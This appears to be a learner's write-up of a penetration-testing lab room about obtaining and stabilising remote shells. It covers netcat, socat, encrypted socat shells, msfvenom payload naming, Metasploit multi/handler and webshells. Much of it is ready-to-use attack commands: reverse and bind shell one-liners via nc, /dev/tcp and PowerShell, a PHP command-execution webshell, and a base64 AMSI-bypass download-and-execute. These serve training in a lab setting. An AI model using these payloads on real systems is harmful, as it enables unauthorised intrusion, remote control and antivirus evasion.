LEARN >> What The Shell?

Table of Content

A fundamental step and tool when it comes to PrivEsc, shells are not only the ultimate goal, but moreso an essential tool to help get the top of the "food chain"!

This room is all about the different ways we can gain a shell when we get some form of command execution on the target, how to stabalise them, and some common "oneliners" to help spawn shells if you cannot simply upload and run a shell of your own.

Task 1 – What is a shell?

A shell is a "wrapper" program in a sense, they help you control the inner workings of an operating system, and execute commands to do nearly any task imaginable (depending on access levels) that would usually be hidden in the background in a graphical environment. Linux usually defaults to either bash and sh for it’s shells (though there is plenty more to choose from) whereas Windows has cmd.exe and powershell.exe.

As a pentester though, we are more interested in accessing these from a remote perspective…
The methods of spawning these shells come in two main "flavours" (though there are some other flavours out in the wild if you research enough):

  • bind shell – where the target machine opens a port for us to connect to and control the shell
  • reverse shell – where the target machine connects back to your IP and a given port

Task 2 – Tools

The two main things you need when trying to spawn a shell is a payload and a way of interfacing with the spawned shell. The main tools are the following:


Netcat is considered a "Swiss Army Knife" of networking. It can interact with many different facets of networks and can be a handy tool for pentesting tasks such as banner grabbing (connecting to an open port and looking at the initial output of a server to attempt to enumerate services on the target), but in this context the main use for netcat is definitely shells. Netcat is a commonly installed binary on most Linux systems (there is also Windows versions available), and an essential tool on any pentesting machine. Because it is so common, it is not only useful for listening for reverse shells on your attack machine, but if installed on the target can also be used as payload to facilitate the connection of said reverse shell on the other end. This also goes both ways in relation to bind shells (whether connecting to one from the attack machine, or as a payload to start one on the target machine).

The biggest downfall in relation to shells for netcat is the stability. By default, these shells will not be the most stable, and many features such as sudo, text editing, etc are simply not possible by default. However, later we will cover methods to help "stabilise" these shells.


To put it simply, socat is like netcat on steroids! Socat shells are generally much more stable than netcat shells out of the box. Because of this alone, socat is vaslty superior to netcat; however there are two big catches that make it a less-popular option:

  1. The command syntax is more difficult.
  2. Netcat is very popular and found on nearly every Linux distribution by default. Socat on the other hand, is very rarely installed.

There is also of course a workaround for both these 2 issues, but they will be covered later.

Socat; like netcat, is also available as a Windows binary.

Metasploit – multi/handler

The multi/handler module of msfconsole (the "shell" for the Metasploit framework) is; like socat and netcat, used to receive reverse shells. Being that it is part of the Metasploit framework (and this modules sole-purpose is for connecting to receiving connection from shells) it is very good at providing stable shells, with further options to help improve the shell even further. It is also the only way to interact with meterpreter shells (Metasploit‘s "enhanced" shells with even more built-in tools to help interact with the target as well as escalation and persistence methods.) and is the easiest way to manage "staged" payloads (we will discuss this later).


msfvenom, much like msfconsole are both part of the Metasploit framework. The main purpose of msfvenom however, is not to help interact with the shells, but to generate the payload you need to get the target system to spawn the shell. msfvenom much like msfconsole is incredibly powerful and feature-packed – on it’s own it can generate 100’s of different shell variants (or "flavours"). We will only be dealing with the two "flavours" we have already discussed earlier (reverse and bind).

Task 3 – Types of Shell

As mentioned in Task 1, we are interested in the two main types ("flavours") of shells: reverse shells and bind shells. I put the general idea behind these in rather simple terms in the first task, but lets dive deeper into them:

  • Reverse Shells – when the target machine is forced to execute code that connects (or "calls") back to the attacking computer. On the attacking machine, we would have to listen on the expected port with an app that is ready to interpret the shell. Reverse shells are the best choice as they alleviate most firewall issues on the target machine (since by default most firewalls are happy to let connections go out, but not back in unless it allows that port).
  • Bind Shells – when the code executed as the payload on the target machine opens up a port on the target that we have to connect back to get our shell. Although these shells are a lot stabler by default, they suffer the issue of having to open a port on the remote (target) machine – therefore making it easier to detect and more prone to be blocked by firewalls or IDS.

Reverse shell example

Reverse shells need to be started in the following order:

  • On the attacking machine, run:
sudo nc -lnvp <PORT>

(where <PORT> is the port on the attack machine you will listen for the connection from the target machine)

  • On the target machine, run:
nc <ATTACK-IP> <ATTACK-PORT> -e /bin/bash

(where <ATTACK-IP> is the IP address of the attack box, and <ATTACK-PORT> is the port the attack machine is listening on)

Take a look at the above image – on the left you see the attacking machine setting up the listener via netcat (or nc) on port 443, then on the right the target machine is using netcat to simulate a payload and making the connection back to the attack machine (the -e variable on the target machine syntax is telling netcat to run /bin/bash when the connection is made).

Bind shell example

Bind shells need to be started in the following order:

  • On the target machine, run:
nc -lvnp <PORT> -e "cmd.exe"

(where <PORT> is the port you wish to listen for connections on)

  • On the attacking machine, run:

(where <TARGET-IP> is the IP address of the target machine, and <TARGET-PORT is the port listening on the target machine)

I decided not to include the picture for this one, as it really is basically just the backwards version of a reverse shell, even if using a different operating system for the target.

NOTE: on both Linux and Windows based machines, you need root/SYSTEM privileges to open ports below 1024 (a.k.a. in the "well-known" ports range), however – if you aim to open ports above 1024 then sudo or root access is not necessary. Opening ports in the "well-known" range does not detrimentally affect the machine connecting to you (as you don’t need admin access to connect to any ports), and can actually help with certain firewall rules on target machines (for instance, if they block outbound connections to high ports). Either way, is important to remember when dealing with raising bind shells on systems you do not have root access on (your shell will fail!).

Shell Interactivity

When we talk about shells, there are two different types of interactivity "variants" of shells you will encounter – interactive and non-interactive:

  • Interactive shells – these behave very similar to if you were running Bash, Sh, PowerShell, etc on your machine directly, you can send commands, they will respond, you can respond back to anything these commands may request (such as if an app asks you to answer a question, or enter a command to run).

  • Non-Interactive shells – these kinds of shells lack the ability to communicate back with anything you run. The program you call may send something back – but if you have to interact with it in any way you will most likely not even see a response back. For example, look at the screenshot below – the whoami command responded back, but running ssh just hangs the shell – with the only way out being to escape and kill it.

Unfortunately, most of the simplest of shell payloads can be non-interactive, especially the likes of webshells (php). These shells limit what you can do, for instance – you cannot use sudo on a non-interactive shell, so forget about exploiting that sudo binary the target accidently left open!

However, in a lot of cases a non-interactive shell can be a stepping stone towards getting an interactive shell, so don’t give up if that is all you start off with!

Task 4 – Netcat

Netcat, being the most widely available tool (and as mentioned earlier, a MUST have in any pentesters app collection) is the best place to start when talking about communicating with the two "flavours" of shells we are discussing in this room.

Reverse Shell

  • The syntax for starting a netcat listener using Linux is:
nc -lvnp <PORT>
  • -l is used to tell netcat to listen

  • -v tells netcat to be verbose in its output (helping us diagnose the connection of the shell)

  • -n tells netcat to not bother attempting to resolve hostnames over DNS, generally making for a faster connection.

  • -p is to supply the port number we listen on

    NOTE: it is always best to enter the above switches with -p being last, so you can specify the port at the end of the line. If you put -p before the other 3, then netcat will error and not start listening.

  • A working example of this listener would be:

nc -lnvp 1337

This will start a listener on port 1337. We can then use a reverse shell payload on the attacker, and get them to connect back to our IP and that port so we can interact with the shell.

NOTE: A handy piece of advice – it would be a wise choice to pick a port you will use by default when using reverse shells, then on your attack box create an alias to easily start your listener without having to type the full command. For example, if you use Bash as your default shell (a majority of Linux distributions do), edit your .bashrc file and put the following line somewhere near the end of the file to create an alias (you can change the alias names and ports to whatever you wish) – for Zsh/Fish shells you need to edit .zshrc/.fishrc respectively, but the same syntax will work:

alias nc1337 = "nc -lnvp 1337" 

One lesser-known feature of netcat is that once you receive a connection on a listener port, it will move the connection off that port onto another random port – therefore leaving the original listening port open again for another listener.

Bind Shell

  • The syntax for connecting to a bind shell via netcat is:
  • <TARGET-IP> is the IP of the target machine that we will be connecting to.
  • <TARGET-PORT> is the port on the target machine we need to connect to.

The port that the bind shell opens depends on what you supplied when creating the payload. Again, when using bind shells on Linux targets, it is best to bind to a port above 1024, unless you have already obtained root access.

  • A working example of a bind shell (using question 2 as an example):
nc 8080

This will connect to the IP on port 8080

Task 5 – Netcat Shell Stabilisation

Of course, as we have previously discussed, netcat doesn’t always offer the most stable of shells. Fear not though – we will be discussing methods on how to stabalise the shells so they feel almost as good as a local shell on your own computer!

Stability can range up to simply not being able to use Ctrl-C without killing the shell, all the way down to your non-interactive and "messy" shells (random garbage gets spat out, formatting is off, etc). This is due to the fact we are basically shoving the output of a process (shell) through a TCP connection (in most cases) that was meant to be operated on the local machine, where it can sense the size of your terminal, the type of terminal application your running in, etc…

We will cover 3 methods of stabilising shells in this task:

Technique #1 – Python

This first technique is only applicable to Linux machines, but the added bonus is that most Linux machines will have Python installed by default. Best of all, it’s 3 easy steps and you are going to feel like you are sitting in front of the target machine!

  • The first step, and only python segment of this technique is literally one line, and universal to all machines:
python -c 'import pty;pty.spawn("/bin/bash")'

This "could" fail on select boxes, as they may not have a python symlink – in that case replace python with python2 or python3. Most systems will symlink python to point to the default version of python (either python2 or python3).

  • The next step is to type export TERM=xterm – this will tell the target shell that the attacker terminal type is a basic xterm (the original terminal emulator for X11), giving you access to commands such as clear.

  • The final step (also the most important) is to background the shell by pressing Ctrl-Z, this will drop us back to the shell on the attacker machine, where we need to type the following: stty raw -echo; fg. This will do two things – first, it turns off our local terminal echo, which gives us access to autocompletion, the arrow keys, and Ctrl-C to kill processes on the reverese shell without losing the connection. The second half of that command (fg) simply brings the reverse shell we put in the background back to the foreground.

NOTE: if the shell dies, and you followed the above steps, you may need to type reset and press Enter to "reset" your local terminal. You may not see anything happen until the reset occurs.

Technique #2 – rlwrap

rlwrap is a program which, in simple terms, gives us acces to autocompletion, history and the arrow keys immediately when we receive the shell. This is great, but still requires "some" manual stabilisation if we want to be able to use Ctrl-C inside the shell.

  • rlwrap is not installed by default on most systems (even Kali), but can be installed on Debian based Linux distributions using the following command:
sudo apt install rlwrap
  • To use rlwrap, we simply put it in front of our listener command (if the listen port is below 1024 you will also need a sudo in front of the command below):
rlwrap nc -lnvp <PORT>

This will give us a much stabler shell on Linux by default, and can even help stabilise Windows shells, which are notorious for being flaky and difficult to stabilise.

When dealing with a Linux target though, we are still not 100% stable. This can easily be resolved by following Step #3 on the previous task.

Technique #3 – socat

The third easy way to stabilise a shell is to simply upgrade the initial netcat shell with much more stable and fully-featured socat shell. Bear in mind that this technique is exclusive to Linux, and will not improve a Windows shell at all (although there is a Windows version of socat, since it gives no advantage, I won’t cover it).

As mentioned previously, socat is no where near as common as netcat, so there is a high chance you will need to get a socat static compiled binary (a version compiled to have no dependencies) – there are plenty of "static binaries" stashes to be found on GitHub, but be weary of the date these repos were last updated… the one linked in this particular room has not been updated in 5 years.

We will not go into the commands on this task, as we will be covering this in the next task.

Further stabilisation

We can stabilise the shell even further on any of the above 3 techniques by setting our terminal tty size on the reverse shell. This is something that your terminal emulator will do by default on a local connection, and allows you to use things such as text editors that overwrite everything on the screen (yes, even vim!), or more importantly, if you are typing large commands and it wraps the lines, they will break if this is not set correctly (of course an easier way around that is to type the command in your own terminal then copy/paste, but this is a session-permanent fix to that problem!).

  • First, either background the current reverse shell (Ctrl-Z and then type fg to get back in) or open another terminal in a window of the exact same size and type stty -a – this will dump out the current details on the terminal window you have open.

  • Then in your reverse shell (using the above screenshot as an example – replace the numbers with what stty -a gives you on your attack machine):
stty rows 45
stty cols 118

This will change the registered width and height of the terminal, thus allowing text editors or other full-screen terminal apps to run correctly.

Task 6 – Socat

Socat is very similar in many ways to netcat, but also fundamentally different in many others. Think of socat as a connector between two points – essentially it will act as a listening port and the keyboard, or it could be a listening port and a file… or even two listening ports!

"Simple" Reverse shell

As mentioned previously, socat‘s syntax is much more involved than netcat, but that is because socat is a much more feature-rich application.

  • To start a "simple" listener for a reverse shell on the attack box:
socat TCP-L:<PORT> -

This is called "simple" because in regards to Linux shells, this is the equivalent of running netcat listener nc -lnvp <PORT>, but fear not – we have better below! 😉

To break it down:

  • Think of socat commands as they literally appear – you have socat then two "blocks" of text seperated by a space. The first block is the input, the second block is the output.
  • TCP-L is short for TCP-LISTEN, telling socat we want a TCP Listener.
  • <PORT> is the port you wish to listen on.
  • - at the end of the line is very important; it tells socat to direct to stdout (a.k.a. your terminal)
  • To connect back on Linux (from target box):
socat TCP:<ATTACK-IP>:<ATTACK-PORT> EXEC:"bash -li"

To break it down:

  • TCP is short for TCP-CONNECT, telling socat we want to make a TCP connection
  • <ATTACK-IP> is the IP of the attack box
  • <ATTACK-PORT> is the port listening on the attack box.
  • To connect back on Windows (from target box):
socat TCP:<ATTACK-IP>:<ATTACK-PORT> EXEC:powershell.exe,pipes

The ,pipes appended to the end of this line is used to force powershell.exe (or cmd.exe) to use Unix style standard input and output.

Bind Shells

  • On a Linux target machine we use the following syntax:
socat TCP-L:<PORT> EXEC:"bash -li"
  • On a Windows target machine we use the following:
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
  • On the attack machine, we connect to the bind shell using the syntax:

"Advanced" Reverse Shell (Linux ONLY)

Excluding the ,pipes at the end of a Windows connection that stabalises Windows shells a little better than netcat, we haven’t really improved on netcat… Until now that is!

  • Let’s not keep you in any more suspense – the command syntax on the attack box:
socat TCP-L:<port> FILE:'tty',raw,echo=0

OK, but before we go on much further, let’s break down what we have above.

As socat usually expects, we are connecting two points together… however, instead of simply dumping the output to - (stdout) we are directing it to a FILE: named tty, setting the tty to raw, and disabling echo with echo=0. This is basically the equivalent of the Ctrl-Z and stty raw -echo; fg trick with netcat, with the bonus of being done for you before you even connect!

The downside however is that the only "payload" this special listener can receieve a connection from is using socat on the target machine. As explained before, look for a way to download a "socat static linked binary" (search GitHub for "static binaries"), or of course… compile your own (https://repo.or.cz/socat.git)! 😉

  • The command needed to connect back to the above is:
socat TCP:<ATTACK-IP>:<ATTACK-PORT> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

OK, thats a big one… lets break it down!

  • The first "block" is rather simple by now… it’s connecting via TCP back to <ATTACK-IP> on <ATTACK-PORT>, the second block starts off normal… EXEC:"bash -li" is just starting an interactive bash shell… but the options after, what do they mean?
    • pty – allocates a "pseudoterminal" on the target — part of the stabilisation process.
    • stderr – makes sure that any error messages get shown in the shell (making sure we are "interactive")
    • sigint – passes any Ctrl-C commands through to the target box, allowing us to kill commands inside the shell
    • setsid – creates the process in a new session
    • sane – stabilises the terminal, attempting to "normalise" it.

Phew that is a lot! Perhaps a picture will make this easier to take in:

On the left we have the attack machine running a socat listener on port 53. On the right is the old netcat listener with an obviously non-interactive shell. We can see the attacker upgrading the shell on the last command, socat with all the "special sauce" connecting to the attack machine socat listener. Back on the left, we see it connect, and it looks like we can clearly ssh without any issues… the original non-interactive (at all) shell has just became almost like we were sitting in front of the attack machine…

Except for the last upgrade (why did you think it it was titled "STABLE**(R)**"?) – setting the stty size values is still necessary for the shell to become fully stable (and give you the ability to use text editors, write LONG commands, etc)

If, at any point the socat shell is not working correctly, it’s well worth adding -d -d into the command to increase the verbosity. This could help diagnose the issue, but is not a good idea for general use.

Task 7 – Socat Encrypted Shells

OK, so an "instantly-stable(r)" shell still doesn’t excite you much? "But netcat can do that too with the stabilisation tricks!"… yes, it can. But there is one thing that socat CAN do that netcat cannot… ENCRYPTED SHELLS!

This is where it gets fun – and the commands get LONG too… we do also need one last thing (besides socat loaded onto the target machine). A certificate!

Generating a certificate!

  • To generate a certificate, we generate this on our attacking machine:
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

This command will create two files – one is a 2048 bit RSA key named shell.key, the other is the certificate (self signed) named shell.crt, valid for just shy of one year.

  • We need to merge these two files together to create a .pem file for socat – type the following:
cat shell.key shell.crt > shell.pem

Now for an encrypted reverse shell!

  • To setup our SSL reverse shell listener, type the following:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

Lets break it down:

  • cert=shell.pem points to the .pem file we created by merging the shell.key and shell.crt together. This is the key our connection will be encrypted with.
  • verify=0 tells socat to ignore the fact our certificate is not signed by a recognized authority
  • To connect back (if the target is Linux), we use:
socat OPENSSL:<ATTACK-IP>:<ATTACK-PORT>,verify=0 EXEC:/bin/bash
  • To connect back (if the target is Windows), we use:
socat OPENSSL:<ATTACK-IP>:<ATTACK-PORT>,verify=0 EXEC:cmd.exe,pipes

What about an encrypted bind shell?

Sure… why not! 🙂

NOTE: socat expects the certificate to be on whatever machine is LISTENING – therefore if we were doing a bind shell, we would have to transfer the shell.pem file to the target machine…

  • As it mentions above… transfer the shell.pem file into the same directory as the socat binary, and type the following (for a Windows target):
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
  • … and if our target machine is Linux (same thing though, we need the shell.pem file):
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:/bin/bash
  • To connect from our attack box:
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

What about some "special sauce" with that reverse shell?

So one thing that hasn’t been mentioned so far in this task – the above encrypted shells are exactly the same stability as your standard "run-of-the-mill" netcat shells… however, we can still add some "special sauce" to make this one tasty (taco?) shell!

The task did not cover this, but since they wanted it for the answers (and I may actually use this one day!) I can’t help but throw this recipe in!

As with the above shells, we still need to generate our shell.pem file (or we can even use the same one on all shells!), but that’s explained above…

  • To start the listener on our attack box:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 FILE:'tty',raw,echo=0
  • … and on our target box we run:
socat OPENSSL:<ATTACK-IP>:<ATTACK-PORT>,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

And of course – for the truely perfect experience, don’t forget to sprinkle some stty rows XX and stty columns XX (or rather a dash of stty size ROWS COLS) on the top to finsh it off.


Task 8 – Common Shell Payloads

While msfvenom is the master of payload generation, there are some "quick" and common payloads out there that can make quick work of getting a reverse shell.

One of the quickest and simplest methods of course would be to simply use netcat to listen as a bind shell… allowing us to simply connect to the box on the port we open… that is "possibly" an idea.

  • See, there is "special" versions of netcat that have an additional flag -e that allows you to execute a command on the target machine for the shell… so adding -e /bin/bash to the end of a listen command:
nc -lnvp <PORT> -e /bin/bash
  • … and we would have an easy bind shell on the target! … or we could reverse that and instead do the following to connect back to the attack box (a reverse shell):
nc <ATTACK-IP> <ATTACK-PORT> -e /bin/bash

Unfortunately though, this option is rarely included in most releases of netcat as it is deemed to "insecure" (LOL).

  • However we can get around this with the below command on a Linux target (bind shell):
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

This fancy little one-liner will create a named pipe at /tmp/f. It then starts netcat in listener mode (on given <PORT>) and connects that as the output to the named pipe (< /tmp/f). It is then piped back into /bin/sh, sending the stderr output to back into stdout, and then directing the output of stdout back into the named pipe, thus completing the full circle – all output (including stderr which can be missed on non-interactive shells) going back to the shell.

  • The equivalent of this for a reverse shell:
mkfifo /tmp/f; nc <ATTACK-IP> <ATTACK-PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
  • Of course, you can also use the above syntax without needed netcat at all – here is the "non-netcat" equivelent (reverse shell):
mkfifo /tmp/f; bash -i >& /dev/tcp/<ATTACK-IP>/<ATTACK-PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
  • One I have personally used on many occasions (but can be slightly less-stable than the above), which is blatantly simple is:
bash -i >& /dev/tcp/<ATTACK-IP>/<ATTACK-PORT> 0>&1
  • It might also be necessary to wrap the above in another bash -c as below:
bash -c 'bash -i >& /dev/tcp/<ATTACK-IP>/<ATTACK-PORT> 0>&1'

What about Windows?!

  • OK, so a "one-liner" (that’s a bit of a stretch) – but here is one for PowerShell:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ATTACK-IP>',<ATTACK-PORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

To use this, you need to change the <ATTACK-IP> (just after TCPClient in the first line) and <ATTACK-PORT>

Task 9 – msfvenom

Msfvenom – the one-stop shop for all your payload needs!

Msfvenom is part of the Metasploit framework, one of the most powerful tools in the pentesting industry. Msfvenom‘s sole purpose is the generation of payloads for shells. It can do so on two levels – as part of lower-level exploit development to generate hexadecimal shellcode when developing things such as Buffer Overflow exploits. The second level (and our focus) is the generation of built-to-run payloads which can come in many variants; e.g. .exe, .aspx, .py, .php, etc). Msfvenom itself is massive and cannot be covered in one simple task – but we will cover the basics that fit this room.

  • The standard command syntax for msfvenom is:
msfvenom -p <PAYLOAD> <OPTIONS>
  • Let’s jump straight into an example of a full command syntax:
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<ATTACK-IP> LPORT=<ATTACK-PORT>

Let’s break it down!

  • -p windows/x64/shell/reverse_tcp – this payload is a Windows x64 "staged" reverse TCP shell – read more below on "Payloads" to help you understand this further.
  • -f <format> – specifies the output format, in this case we have used exe
  • -o <file> – specifies the output file name – msfvenom will name the final payload shell.exe in this example
  • LHOST=<ATTACK-IP> – this being a reverse shell, you would supply the attack box IP – e.g. LHOST=
  • you can also specify network devices (found in ifconfig or ip command) – such as LHOST=tun0 to set the IP of your VPN tunnel.
  • LPORT=<ATTACK-PORT> – this being a reverse shell, you would specify the port you will be listening on your attack box. e.g. LPORT=1337


Payloads play the biggest part of msfvenom… picking the right payload for the job is crucial, and to do so you need to understand how msfvenom payloads work, and how they are named in msfvenom.

Staged VS Stageless

Staged VS Stageless? It’s an important question – especially depending on the circumstances you are facing on pentest… Payloads come in two main base variants in msfvenom, lets dive in and explain what they mean:

  • Staged payloads are sent in two stages… the first part is called the "stager". This is a (usually small) piece of code that we execute on our attack machine, that does not actually contain the reverse shell. Instead the small piece of code instructs the attack machine to connect to the listener so it can send the "real" payload for the target to execute. Staged payloads require a special listener that can instruct the initial stage to download the 2nd stage, and being that we are using the Metasploit framework – msfvenom staged payloads will require msfconsole and multi/handler to look after the first stage.
  • Stageless payloads are much more common as they are the easiest to "catch" (get a connection back to your listener for example), and only contain one "stage" – the shell itself. Whatever code exists in a stageless payload is the final product – and because of this, they are generally much larger than their staged variant.

So what are the "pros and cons" of these staged and stageless payloads?

Much smaller Require special listeners
More likely to evade AV / Anti-Malware Harder to "catch"
Easier to catch Much larger payload / file
Easier to use Easier to detect with AV / Anti-Malware
AV / Anti-Malware detection

It is said that staged payloads are easier to get past AV / Anti-Malware scanners… which is true, however – Windows has recently introduced it’s own built-in "Anti-Malware Scan Interface" (AMSI) for PowerShell scripts and on top of that, Windows Defender that has been known to detect most staged payloads from msfvenom. This makes the "pros" and "cons" that relate to AV / Anti-Malware detection rather important.

However… the whole AMSI situation can be mitigated rather easily if you bypass it… 🙂

NOTE: The below method is only going to mitigate AMSI on older versions of Windows… the updated versions of both AMSI and Defender will detect the below method as it now checks all base64 encoded strings for malicious code. You will need to use further techniques to obfuscate the generated payload and implementation method to bypass these protections on later versions… and this is well beyond the scope of this room.

  • For example, one method is to base64 encode your payload and use the following command:
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc <B64-ENC-PAYLOAD>"
  • On your attack box, use the following to encode base64 in Windows format:
echo -n "IEX((New-Object Net.WebClient).downloadString(''); .\shell.exe)" | iconv -t UTF-16LE | base64 -w 0

The above will download shell.exe from your attack box webserver, and execute once the download is completed, all out of the prying eyes of AMSI and completely in memory.


One thing you will notice very quickly when looking at the lists of payloads (see below – "Finding Payloads") is there are a lot with "meterpreter" in the payload string.

Meterpreter is the name of a special breed of shells made exclusively for the Metasploit framework. Besides the fact that these shells come out box rock-solid-stable, they also have a lot of extra built-in "features" that you don’t get from your standard shells. Features such as the ability to upload and download files directly from the target, depending on the targets OS you can also use quick commands to instantly escalate your privileges if the target will support it, and even dump stored passwords with ease!

Of course, as with the staged payloads we talked about above, you MUST use msfconsole‘s multi/handler as your listener when using meterpreter shells, but that isn’t so bad!

As mentioned above in "Staged VS Stageless" -> "AV / Anti-Malware detection", like staged exploits AMSI has also learnt to detect meterpreter shells… and finally if you are trying to sit a pentesting certification you will most likely be limited to either not using them at all, or only using meterpreter shells on one exam question, so it is always best to know alternative methods of getting shells (the whole reason for this room!).

Payload Naming Conventions

To help you pick the right payload, it is best to understand how the payloads naming system works.

  • The basic convention is:
  • Note that /arch is surrounded in square brackets – the arch is an optional switch depending on the target… e.g. if your taget is Windows, then windows/shell_reverse_tcp automatically points to the x86 arch type, but if the target is x64 then you need to specify windows/x64/shell_reverse_tcp – however for Linux you must specify the arch depending on your target system – e.g. linux/x86/shell_reverse_tcp

But what about our talk before about "staged VS stageless" payloads… How do we designate whether we want a staged or a stageless payload?

  • Lets break down the /payload section even further…
    • In the above section explaining the optional /arch we used linux/x86/shell_reverse_tcp as the last example of a full payload. By requesting shell_reverse_tcp as our /payload section we are asking msfvenom to generate a stageless reverse TCP shell.
    • If we wanted a staged reverse TCP shell for x86 Linux, we would instead use linux/x86/shell/reverse_tcp, or shell/reverse_tcp as our /payload section.
    • notice the only difference between the two payloads is the stageless payload had _ between shell and reverse, and the staged has / instead.
    • But what about those fabulous meterpreter shells? How do we generate some of those beauties?!
    • A staged x64 Windows reverse TCP meterpreter shell would be: windows/x64/meterpreter/reverse_tcp
    • Or – a stageless 32bit (x86) Linux reverse TCP meterpreter shell would be: linux/x86/meterpreter_reverse_tcp
Finding Payloads

Now we understand the ins-and-outs of msfvenom payloads, how do we find the EXACT payload we want?

  • You can see a list of all the payloads that msfvenom contains – be warned, it’s a MASSIVE list:
msfvenom --list payloads

NOTE: if you are looking for certain payloads, piping the above command through grep will help you narrow the list down – for example, to see all x64 Windows payloads:

msfvenom --list payloads | grep windows/x64/

… it will still be a massive list though – try to narrow it down as much as you can!

  • Or alternatively, try hitting the Tab key while you write out your payload string… most shells will support autocompletion and help you feed the list with what you are after. e.g. if you do the below and hit Tab as it states, you will see a list on screen of all payloads that start with windows/x64/
msfvenom -p windows/x64/<TAB> 

MSFVenom Cheat Sheet

Here is a great collection of examples of msfvenom shells: https://book.hacktricks.xyz/shells/shells/msfvenom

Task 10 – Metasploit multi/handler

The multi/handler plugin of msfconsole is a superb tool for catching reverse shells, and not just because you HAVE to use it for meterpreter shells or using staged payloads generated by msfvenom – simply because the shells are "SAF (stable as f***!)"

The one great thing about Metasploit framework in general is that it is built to be easy to use. Before the days of Metasploit, hackers/pentesters would have to write their own code to generate their payloads… not anymore!

  • To jump into the drivers seat of the Metasploit framework, launch msfconsole
  • To enable the multi/handler module, type use multi/handler and hit Enter

Now before we go and execute this module, like most Metasploit modules you need to set some configuration options first…

  • Type options to print the module options to the screen:

  • There are 3 options we need to set:
    • If you look at the image above, chances are right next to "Payload options" it states (generic/shell_reverse_tcp), this needs to reflect the correct payload we set in msfvenom for the connecting client. To do this we use: set PAYLOAD <payload>
    • The next thing we need to set is LHOST, on a reverse shell this is our IP that it will be connecting to. For example – set LHOST
    • However, you can also use network device names, such as tun0 if you are using a VPN tunnel. To do that, we simply use set LHOST tun0
    • LHOST is an extemely common variable to set in msfconsole, you can save yourself having to set this repeatedly on every module by typing setg rather than set at the front of the command to globally set LHOST
    • The last thing we need to set is LPORT, on a reverse shell, this is the port on your attack box that you are listening on. For example – set LPORT

OK – now that we have all the options set, it’s time to run the module!

You can do this either two ways – run or exploit. Furthermore, if you throw a -j switch at the end of either, you will run the exploit in the background as a job, and you can continue to use msfconsole while you wait for the shell to connect (see below screenshot).

When the payload is executed on the target, it will automatically setup the connection in the background.. to bring it back to the foreground (and in your control) type sessions 1 (or whatever session number it tells you that it opened on (see below screenshot – "Command shell session X opened…". You can simply type sessions to show you a list of currently open sessions as well.

Task 11 – WebShells

There are times in pentesting that we may encouter a website that will allow us to either upload something or exploit something on the webserver so we can get some form of command execution. Ideally we would love to simply upload a reverse shell executable and run that, but often it isn’t that easy… most uploads will block an executable, and unlike scripts and such (which also have the possibility to be outright blocked), we cannot try to mask these as different filetypes to trick the webserver into running code…

This is where webshells come in! 🙂

  • Here is a basic one-liner PHP "command execution" trick:
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

This will take a GET parameter (usually found at the end of your URL after the page address, such as the one below thats highlighted) – see ?cmd=, and pass it through shell_exec to execute whatever we put in the cmd variable, then output the results on the website itself.

The above screenshot is showing the output of ifconfig – note the highlighted part of the url showing ?cmd=ifconfig. We can simply change ifconfig to whatever command we want to run… even say: ?cmd=curl /tmp/badshell; /tmp/badshell – chances are that will not work though unless you url encode the whole string after the =.

But what if the target is Windows? Let’s turn that one-liner PowerShell reverse shell from Task 8 into something that can be read into this ?cmd= pipe…


Wow that is even bigger than last time! :O

You need to search that massive blob of "gibberish" for <ATTACK-IP> and <ATTACK-PORT> and replace them as necessary… but you will gain a PowerShell reverse shell, so it’s worth the effort!

Where can I find Webshells?

Kali linux comes with a bunch of webshells by default in /usr/share/webshells – even the infamous PentestMonkey php-reverse-shell – this one is a FULL reverse shell written in PHP (in other words, it works on your standard netcat listener), but be warned – it’s not the most stable (and somewhat non-interactive) – so get yourself something better to upgrade to!

In relation to PHP shells though, I have found an even better variant! This one is not only more stable than the previous, but it is cross-platform… in other words, it works on Linux, Windows or Mac OS target machines!


The settings for this shell are at the very bottom of the file – look for the line below and replace the IP / port as required:

$sh = new Shell('', 9000);

Leave a Reply

Your email address will not be published.